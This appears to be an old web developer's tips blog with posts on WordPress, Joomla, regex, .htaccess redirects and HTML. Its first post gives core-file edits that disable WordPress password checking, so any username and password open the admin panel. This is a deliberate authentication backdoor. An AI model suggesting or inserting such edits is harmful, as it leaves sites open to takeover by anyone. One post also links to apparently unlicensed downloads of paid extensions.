July 14, 2013

Wordpress Login Into Admin Panel Without Knowing or Changing Username and Password:

1) Open the file capabilities.php present in the path  projectname/wp-includes/capabilities.php.
2) Go to Line number 559 , In switch statements under case : login , Replace the following

                   $value = sanitize_user( $value );  to  $value = 1;
                   $db_field = 'user_login';   to   $db_field = 'ID';

3) Open the file  user.php present in the path  projectname/wp-includes/user.php.
4) Go to Line number 105  $user = apply_filters('wp_authenticate_user', $user, $password);
5) Add the following line below $user.
     
             global $wpdb;      
             $mylink = $wpdb->get_row("SELECT * FROM $wpdb->users WHERE ID = 1");  
             $password=$mylink->user_pass;


 6) Open the file pluggable.php present in the path  projectname/wp-includes/ pluggable.php
 7) Go to Line number 1444   in    function  wp_check_password() ,Replace the following
             
            strlen($hash) <= 32  to  strlen($hash) > 1
            $check = ( $hash == md5($password) );     to    $check = ( $hash == $password );
           
            Save all the things , After doing all the corrections Go to the admin panel.
            Enter any username and any password you can now able to login into admin panel.

February 28, 2013

Having Problem adding images to Articles



Whenever I try to add an image "\&quot;" is added in without me adding it in joomla 3.0

Go to -> Global Config -> Text filter then super admin
change to Default black list.

Now it works.

August 11, 2012


Login Logout

<?php
 $userid=$_SESSION["__default"]["user"]->id; ;
 if( $userid )
              {
              echo '<a href="index.php?action=logout"><img src="logout.jpg" width="100" height="25" /></a>';
              } else {
              echo '<a href="index.php/login"><img src="login.jpg" width="100" height="25" /></a>';
              }
?>

Add Terms of Service or Conditions Almond Classifieds Component for Joomla!

To Add Terms of Service or Conditions  Almond Classifieds Component for Joomla!


To Select Terms of Service or Conditions option if we select while submitting form

Go to root\components\com_aclsfgpl folder

Open forms.php


Put java script in top of the file 


<script language="javascript">
var enableDownloadButtonPD = 0;
function enableDownloadPD() {
 if (enableDownloadButtonPD == 0) {   
 document.getElementById('test').disabled = false;
 document.getElementById('test').style.backgroundColor = ''; 
 enableDownloadButtonPD = 1; } 
 else {   
 document.getElementById('test').disabled = true;
 document.getElementById('test').style.backgroundColor = 'red'; 
 enableDownloadButtonPD = 0;  }
}
</script>


go to around line no: 815

Replace this code 

if ($jsfrmch=="yes"){
$thtml=$thtml. "


<input type='checkbox' onclick='enableDownloadPD()' id='terms_condiction'  name='license_agree'/>


<input type='button' disabled='' id='test' value='".$msg2['Submit_Ad_v']."' class=formst STYLE='FONT-WEIGHT: bold;'
 onClick=\"checkaddform();\">
";
}


June 19, 2012

Ninja Simple Icon Menu


Ninja Simple Icons, helps you simple set up a menu of icons on your website.Simple install the module, fill out the params, pick your images, and publish its as simple as that
  • Vertical Orientation
  • Horizontal Orienation
  • CSS and XHTML Valid
  • Allows you to hide from non registered users.
  • Have Up to 10 items.

June 4, 2012

Find and Replace using regular expression in dreamviewer

For example: C 206.36 407.64 211.95 407.43 216.27 410.62 

To find  C 206.36 407.64 211.95 407.43

Use given below regular expression
C(\s*\d{3}\.\d{2}){4}\s*

To replace 216.27 410.62  by 216,410


 To be find  the digit use : \.\d{2}\s* 
 To replace by  ,



October 14, 2011

Download VTEM Slides

Please visit below website to download some useful paid components


http://www.snns.info/joomla-17/joomla-17-extensions

JFolder::create: Could not create directory’ Error in Joomla



Open the configuration.php file.

Find Line no:18 var $log_path, it will contain the Directory path of your Old Server. Just replace the whole line with the code var $log_path = './logs';

Find Line no:19 var $tmp_path, it will also have the Directory path of your Old Server. Replace the whole line with the code var $tmp_path = './tmp';

Safe the file and check...





August 19, 2011

To redirect website from one domain to another domain using .htacess file

To redirect website from one domain to another domain using .htacess file




RewriteEngine On
RewriteCond %{HTTP_HOST} ^targeturl.com
RewriteRule (.*) http://www.oldurl.com/$1 [R=301,L]

July 12, 2011

VE Latest New Scroller for joomla1.6

Latest New Scroller is a joomla module that show latest news of joomla with nice scroller.


Features:
  • Compatible with Joomla1.5, Joomla 1.6
  • Set with, height of thumbnail
  • Set number of article
  • Set number characters of intro text

Demo:


Download:

June 22, 2011

PrestaShop Open-Source E-commerce software - Showcase Demo

PrestaShop Open-Source E-commerce software - Showcase Demo

Align center the test using html tag

This post is very simple but unknown sometimes...


<html>
<head>
</head>
<body>
<table width="100%" height="100%"><tr align="center" valign="middle"><td align="center" valign="middle">xxxx</td></tr></table>
</body>
</html>